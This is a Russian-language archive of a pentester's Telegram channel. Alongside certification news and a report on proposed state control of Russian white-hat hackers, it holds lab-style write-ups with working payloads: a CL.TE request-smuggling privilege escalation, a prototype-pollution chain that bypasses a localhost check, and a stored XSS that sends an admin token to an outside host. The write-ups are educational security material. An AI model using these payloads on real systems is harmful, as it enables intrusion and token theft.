Fail Auth
Открыть в Telegram
На этом канале я буду делиться своими открытиями, инсайтами из мира информационной безопасности и инструментами для пентеста. Связаться со мной: @konstanto0 Offensive security | Rad Cop https://radcop.online/ https://t.me/radcop_online
БольшеСтрана не указанаКатегория не указана
206
Подписчики
Нет данных24 часа
Нет данных7 дней
Нет данных30 дней
Архив постов
206
HTTP Request Smuggling → Privilege Escalation
Разбирал задание с уязвимостью CL.TE (Content-Length / Transfer-Encoding). Сценарий: есть пользователь с низкими привилегиями, есть эндпоинт /admin.php?promote_uid=7. Задача — заставить администратора выполнить запрос от нашего имени.
1️⃣ Суть CL.TE
Фронтенд читает длину тела через Content-Length.
Бэкенд читает тело через Transfer-Encoding: chunked.
Это несоответствие и есть точка входа.
2️⃣ Вредоносный запрос
POST / HTTP/1.1
Host: smuggle.lab
Content-Length: 58
Transfer-Encoding: chunked
0
POST /admin.php?promote_uid=7 HTTP/1.1
X-Something:
Фронтенд видит один запрос — до конца X-Something: (58 байт по CL).
Бэкенд видит другое — пустой чанк 0\r\n\r\n завершает первый запрос, остаток висит в буфере.
3️⃣ Что происходит дальше
Администратор заходит на сайт со своим обычным GET-запросом:
GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>
Его запрос склеивается с нашим "хвостом" в буфере:
POST /admin.php?promote_uid=7 HTTP/1.1
X-Ignore: GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>
Бэкенд видит POST на /admin.php?promote_uid=7 — с куками администратора.
4️⃣ Результат
Привилегии повышены. Администратор ничего не делал целенаправленно — просто открыл страницу.
Итог
➡️ CL.TE несоответствие → контроль над буфером TCP-соединения
➡️ "Подклейка" чужого запроса → выполнение действий от имени жертвы
➡️ Сессионный cookie автоматически уходит вместе с запросом
Инсайт
Request Smuggling — это не просто путаница с заголовками.
Это возможность встроить свой запрос в чужую сессию, не имея доступа к токену.206
Всем привет!
Вот и у меня дошли руки поделиться впечатлениями и эмоциями об ообучнии и сдаче CWES.
Как и обещал 🫡
Почитать можно тут.
206
Repost from Path Secure
Хей!
Пост немного задержался...
Но я принес вам Хабр-статью с моей рефлексией по итогам сдачи OSWE!
Поделился своими мыслями и тактиками.
https://habr.com/ru/articles/1024100/
- - -
А я в ближайшие дни стартую новое приключение в сдачу OSEP 😎
#oswe #habr #education #cert
206
Всем привет! 🕵♂️
Не сложилось у меня с CPTS, не зашло. Переиграл план, который по обучению расписал на год, и всё же решил углубляться в то, что по душе, а именно — в вебчик!
Взял Golden-подписку на HTB и стартую CWEE.
В общем, с проектами и обучением спать будет некогда. На этот счёт у меня одна из любимых фраз: «Тот, кто спит, тот видит только сны».
Но всё же спать рекомендую — сертами менталку не залечишь. 🤪
Погнали!
206
Repost from Пингискок
Продолжение серии про JWT - шесть новых статей
Криптография, шифрование, библиотеки, OAuth/OIDC, XSS и продвинутые криптоатаки:
9. Криптография JWT для хакеров - ECDSA, RSA-PSS, EdDSA и где ломается математика
10. JWE — зашифрованные токены, Bleichenbacher, Invalid Curve, PBES2 DoS
11. JWT-библиотеки — рейтинг дырявости, Top 5 CVE, fingerprinting по токену
12. JWT в OAuth 2.0 и OIDC — token confusion, cross-service relay, ALBeast, DPoP bypass
13. XSS + JWT — кража токенов из localStorage, sessionStorage, cookies
14. Продвинутые криптоатаки — lattice, side-channels, fault injection
Осталось всего 6 статьей (на скриншоте выше) и будем выбирать нового претендента на следующую серию разборов. Делитесь с коллегами/друзьями, вдруг кому полезно и интересно будет почитать. Репосты в ваши каналы тоже приветствуются 🤝
Предыдущие части постом выше, или тут:
rmrf.tips
206
Repost from Пингискок
Опубликовал новые статьи из серии статей про JWT
Не пугайтесь графика на скриншоте - он просто для наглядности того почему именно работает уязвимость
От структуры токена до атак с PoC:
1. Почему JWT сломан by design
2. Анатомия токена
3. alg:none - одна строчка и ты admin
4. Algorithm Confusion - публичный ключ как пароль
5. kid injection - SQLi через заголовок токена
6. jku/x5u/jwk/x5c - весь заголовок это attack surface
7. Брутфорс секретов на GPU - 150 млн HS256/сек
8. Psychic Signatures - нулевая подпись на Java 15-18
rmrf.tips
206
Prototype Pollution → Localhost Bypass
Недавно решал веб-челлендж на НТВ (white-box).
На первый взгляд — максимально простой сервис заметок на Express + Mongo. Но внутри оказалась очень интересная цепочка через server-side prototype pollution, которая приводит к обходу IP-проверки.
1️⃣ Первичный анализ
В коде явно видно ограничение доступа к /flag:
app.get('/flag', (req, res) => {
const remoteAddress = req.connection.remoteAddress;
if (
remoteAddress === '127.0.0.1' ||
remoteAddress === '::1' ||
remoteAddress === '::ffff:127.0.0.1'
)
То есть флаг доступен только при запросе с localhost.
Следовательно, задача — заставить сервер считать наш запрос локальным.
2️⃣ Точка входа
Обращает на себя внимание эндпоинт обновления заметок /update:
await Note.findByIdAndUpdate(noteId, req.body);
Здесь:
- пользовательский ввод (req.body) передаётся напрямую в Mongo
- отсутствует фильтрация операторов ($set, $rename и т.д.)
- нет валидации структуры
Это типичный паттерн, приводящий к NoSQL injection.
3️⃣ Подтверждение NoSQL injection
Решил проверить, можно ли управлять выборкой документов:
POST /update
{
"noteId": {
"$ne": null
}
}
Сервер возвращает все заметки → значит можно управлять Mongo-запросом.
Это даёт контроль над фильтрацией и update-операторами.
4️⃣ Эскалация Prototype Pollution
Следующий шаг — проверить, можно ли выйти за пределы обычных полей.
Использовал $rename, чтобы записать значение в специальный путь:
POST /update
{
"noteId": "ID",
"$rename": {
"title": "__proto__.test"
}
}
После этого приложение начинает вести себя нестабильно.
Данные записываются не в документ, а в прототип объектов это ключевой сигнал.
5️⃣ Что такое Prototype Pollution в данном контексте
В JavaScript при обращении к свойству:
obj.propдвижок ищет его: - в самом объекте - затем в prototype (proto) - далее по цепочке Если атакующий может записать значение в Object.prototype, его начинают видеть все обьекты. В данном случае приводит к глобальному изменению поведения:
__proto__.something = value6️⃣ Поиск точки использования (gadget) Теперь ключевой этап — найти, где polluted данные используются. Очевидные варианты не дают результата:
__proto__.remoteAddress __proto__.ipЭто означает, что remoteAddress не является обычным полем. 7️⃣ Важный момент — getter В Node.js req.connection.remoteAddress — это не просто значение, а вычисляемое свойство (getter), которое получает IP из внутренних структур сокета. То есть важно не само поле remoteAddress, а источник, из которого оно берётся. 8️⃣ Поиск внутреннего источника При переборе вложенных и внутренних полей:
__proto__.connection.remoteAddress __proto__.socket.remoteAddress __proto__._peername.addressрабочим оказывается:
__proto__._peername.addressЭто внутреннее поле, из которого Node берёт адрес клиента. 9️⃣ Эксплуатация Так как /create принимает только строки, сначала сохраняем нужное значение:
POST /update
{
"title": "::ffff:127.0.0.1",
"content": "x"
}
Далее переносим его в прототип:
POST /update
{
"noteId": "ID",
"$rename": {
"title": "__proto__._peername.address"
}
}
Это приводит к:
Object.prototype._peername.address = "::ffff:127.0.0.1"
1️⃣0️⃣ Результат
При обращении к /flag getter использует _peername.address, который теперь берётся из prototype.
req.connection.remoteAddressСервер получает данные и считает запрос локальным:
::ffff:127.0.0.1Итог ➡️ NoSQL injection → доступ к Mongo operators ➡️ $rename → запись в proto ➡️ prototype pollution → глобальное изменение поведения объектов ➡️ использование внутреннего поля (_peername) → обход IP-проверки Инсайт Prototype pollution — это не просто “сломать объект”. Это возможность повлиять на данные, которые используются внутри логики приложения, даже если они не передаются напрямую.
206
Ну что… Наконец-то я его получил! 💻
Мелочь, а приятно.
Как писал выше, подписку на обучение купил перед НГ. Учебный трек прошёл довольно быстро, но вот с экзаменом всё оказалось не так просто. С первого раза сдать не удалось 🤩
Завалился на все тачки - получил админа, но больше всего трудностей было с RCE.
Если кратко: курс реально супер интересный.
Лично мне проходить его было намного интереснее, чем PortSwigger Academy — но тут, конечно, дело вкуса.
В процессе узнал много полезного и практичного.
Плюс теперь у меня остался хороший конспект — годный для дальнейшей работы.
Если кому интересно — задавайте вопросы, буду рад ответить.
В будущем планирую написать более подробную статью на Хабре о своём опыте прохождения.
206
Представьте: в углу офиса мирно стоит принтер, печатает отчёты… а в это время через него кто-то получает учётки сотрудников и заходит во внутреннюю сеть компании.
Звучит неприятно? Ещё бы.
В своей новой статье разобрал, почему устройства печати становятся удобной точкой входа для злоумышленников: стандартные пароли, утечки учётных данных через SNMP, pass-back-атаки и другие типовые векторы.
В материале:
— реальные CVE;
— скриншоты атак;
— практические меры защиты, которые можно внедрить уже сейчас.
🖋 Читать статью:
https://radcop.online/blog/articles/vzlomat-cherez-printer
206
Всем привет!
Уже весна, а я все никак не могу вернуться к актиновсти на канале.
Год со старта довольно загружен: проекты, обучение, порой просто лень ☹️
Буду стараться делиться с вами полезным чаще.
Тем более есть повод ⤵️
Про вашу инфраструктуру уже кое-что знают. Возможно, больше, чем вы. 5 марта в 16.00 на вебинаре мой коллега из ПК "РАД КОП" покажет, как безопаснику самому собрать картину своей внешней поверхности атаки — быстро и без иллюзий. ➡️Что можно узнать о себе из открытых источников? ➡️Как это делают злоумышленники? ➡️И как начать делать это первыми? ⬇️ Подробности — в посте РАД КОП ниже
206
Всем привет!
Давненько меня не было слышно.
Хочу поделиться мыслями за последнее время и планами по сертификатам на 2026 год. Относительно недавно поймал себя на мысли, что я вообще ничего не знаю. Причём чем больше прокачиваюсь в технических штуках, тем отчётливее это понимаю. Коллеги подсказали, что это называется «осознанная некомпетентность». 🤯
После Академии RAD COP (писал об этом тут) и нескольких выполненных проектов у меня было ощущение, что я уже всё могу и дальше будет легко. Но не тут-то было. Чем больше знаний я получал на проектах от старших коллег, тем меньше становилось уверенности 🤔
Речь вовсе не про готовность самостоятельно выполнять проекты, а о качественном выполнении проектов самостоятельно. «Делать плохо — ума не надо».
В итоге с постоянным чувством нехватки знаний и такими мыслями, перед новым годом приобрёл подписку на HTB. Туда входят два интересных для меня пути обучения — CWES и CPTS. CWES интересует больше, так как я в основном фокусируюсь на пентесте внешнего периметра и веба. CPTS тоже обязательно пройду — знания по инфре лишними не будут, да и заплачено 🐸
Путь по вебу прошёл довольно быстро, осталось сдать экзамен. После этого обязательно поделюсь впечатлениями.
По планам: в этом году в идеале хочу забрать OSCP, а ближе к концу года — OSWA.
Первый год пройден — полёт нормальный!
Всем терпения, успехов и позитива!
206
Коллеги, всем привет! Благодарю каждого, кто следит за каналом!
Поздравляю с наступающим. Желаю вам фокуса, тишины вокруг и чёткого понимания, куда вы идёте.
Пусть в новом году в отчётах будет больше high severity, а в жизни — больше спокойствия.
Приятно видеть, что нас становится больше. Двигаемся дальше по делу.
206
HTML Injection → Stored XSS → Hijack accessToken
Во время анализа одного из веб-приложений наткнулся на поле, которое обрабатывает ввод без должной фильтрации.
Примечение: cервис фильтрует <script> теги, поэтому XSS реализован с обходом — без явного использования скриптовых тегов.
Решил проверить — вставил простой HTML:
<h1>Test</h1> <!-- изменение размера шрифта -->
Текст стал крупнее — значит innerHTML или подобная конструкция.
Далее потестировал теги:
<img src="x"> <!-- битая картинка -->
<input> <!-- лишний input на странице -->
Браузер создал элементы прямо в DOM. Очевидный признак HTML Injection, причём без CSP и фильтров. Поле сохраняется в базу ➡️ отображается в админке ➡️ возникает вопрос: можно ли это раскрутить до XSS?
➡️ Рабочий XSS-пэйлоад:
<iframe src="javascript:alert(localStorage.accessToken)"></iframe>
В данном случае он читает токен из localStorage и вызывает alert() с его значением.
Минус: работает не во всех браузерах и часто режется CSP, но в слабозащищённых фронтах может быть отличной стартовой точкой.
➡️ Эскалация XSS:
<iframe src="javascript:fetch('//your.interact.sh?token=' + localStorage.accessToken)"></iframe>
Пэйлоад делает внешний запрос на ваш сервер (например, Interactsh), передавая туда значение токена. Вместо всплывающего окна (alert) вы сразу получаете лог токена.
Важно: поле, в которое внедряется нагрузка, сохраняется в базе данных и отображается в административной панели. Это означает, что код выполняется от лица администратора при просмотре, что приводит к краже его токена и потенциальному захвату аккаунта.
➡️ Особенность уязвимости теги:
🔴Инъекция сохраняется в БД (Stored) 🔴Отрабатывает на стороне администратора 🔴Через XSS читается accessToken из localStorage➡️ Что это даёт:
🔴Захват токена администратора 🔴Возможность делать запросы от его имени 🔴Потенциальный full access к admin-панели➡️ Советы для тестирования:
🔴 Ищите HTML-теги, которые влияют на DOM (текст, форма, медиа) 🔴 Проверяйте innerHTML, outerHTML, dangerouslySetInnerHTML в React 🔴Тестируйте на img, input, iframe, svg, math, script и template 🔴 Не ограничивайтесь alert(1), пробуйте localStorage, fetch, document.cookie, navigator, location 🔴 Используйте Interactsh, Burp Collaborator, xsshunter для подтверждения уязвимости
206
ZeroNights 2025 начала публиковать программу — уже можно посмотреть описания докладов Offensive и SecOps треков.
✅ DisTrolles. Мал контейнер, да дорог — про плюсы и минусы перехода на distroless-образы и реальные рекомендации по внедрению.
✅ Плагины атакуют! — разбор кейсов, когда вредоносные расширения попадали в Visual Studio Code Marketplace несмотря на проверки.
✅ Охота на IDOR-ов — как автоматизировать поиск сложных проблем авторизации в больших API.
Программу можно посмотреть здесь: ZeroNights 2025
206
Всем привет! 🤝
Коллега поделился полезной штукой, которую долго вымучивал 😂. Забирайте
https://t.me/pathsecure/376
https://github.com/curiv/postgres-1c-for-pentest/
206
Отличный доклад от коллеги о системе «12-недельный год». Сейчас применяю этот подход — он помогает не просто быстро, а реально двигаться к целям и видеть ощутимые результаты уже за 12 недель, не растягивая всё на год. Рекомендую всем, кто хочет прокачать эффективность, фокус и дисциплину.
206
🕵♂️ Белых хакеров в России хотят взять под контроль ФСБ
По данным РБК, обсуждается новая версия законопроекта о госрегулировании деятельности white-hat'ов. Основное:
🔸 Вводится термин "мероприятие по поиску уязвимостей", под который попадают:
— публичные bug bounty-программы; — внутренние bug bounty; — любые независимые исследования; — пентесты по договорам.🔸 Что планируют?
— Создание реестра сертифицированных исследователей; — Идентификация и аккредитация всех white-hat'ов; — Жёсткие правила обработки и передачи уязвимостей; — Обязательное уведомление не только владельца ресурса, но и силовые ведомства; — Работа вне аккредитованных площадок — под запретом.🔸 Мнение рынка:
— Реестр = деанонимизация → угроза для безопасности исследователей. — Падение числа участников bug bounty. — Псевдонимы — не про “анонимность”, а про риски.🔸 Поправка в УК (ст. 274): передача сведений об уязвимостях с нарушением установленных правил может квалифицироваться как противоправное деяние. 🔸 Кто будет контролировать? ФСБ, ФСТЭК, НКЦКИ — полное регулирование. 🔸 Минцифры: законопроект «ещё может меняться», министерство "в диалоге".
206
🕵♂️
Всем привет!
Довольно часто на проектах попадается Microsoft Outlook Web Access (OWA).
Столкнулся с проблемой установки инcтрумента PEAS, который помогает протестировать ActiveSync (EAS).
EAS - протокол Microsoft для синхронизации мобильных устройств с Exchange Server.
Утилита устарела, написана под Python 2 и требует ручной правки зависимостей.
В итоге решил проблему с помощью docker.
💻 Установка:
git clone https://github.com/snovvcrash/peas ~/tools/peas-m && cd ~/tools/peas-m
python3 -m virtualenv --python=/usr/bin/python venv && source ./venv/bin/activate
🐳 Создаем Dockerfile внутри директории рядом с файлом requirements.txt
FROM python:2.7-slim
RUN sed -i 's|deb.debian.org|archive.debian.org|g' /etc/apt/sources.list && \
sed -i 's|security.debian.org|archive.debian.org|g' /etc/apt/sources.list && \
apt update && \
apt install -y git build-essential libxml2-dev libxslt1-dev libffi-dev libssl-dev
RUN git clone https://github.com/snovvcrash/peas /opt/peas
WORKDIR /opt/peas
RUN pip install -r requirements.txt
ENTRYPOINT ["python", "-m", "peas"]
⚙️ Собираем через команду:
sudo docker build -t peas-py2 .
✔️ Запуск и работа с утилитой:
sudo docker run --rm --net=host -v "$PWD/peas-out":/opt/peas/out peas-py2 -u 'DOMEN\test' -p 'Password123' example.com --list-unc='\\DC-name\' --check
Надеюсь, кому-то пригодится! 💻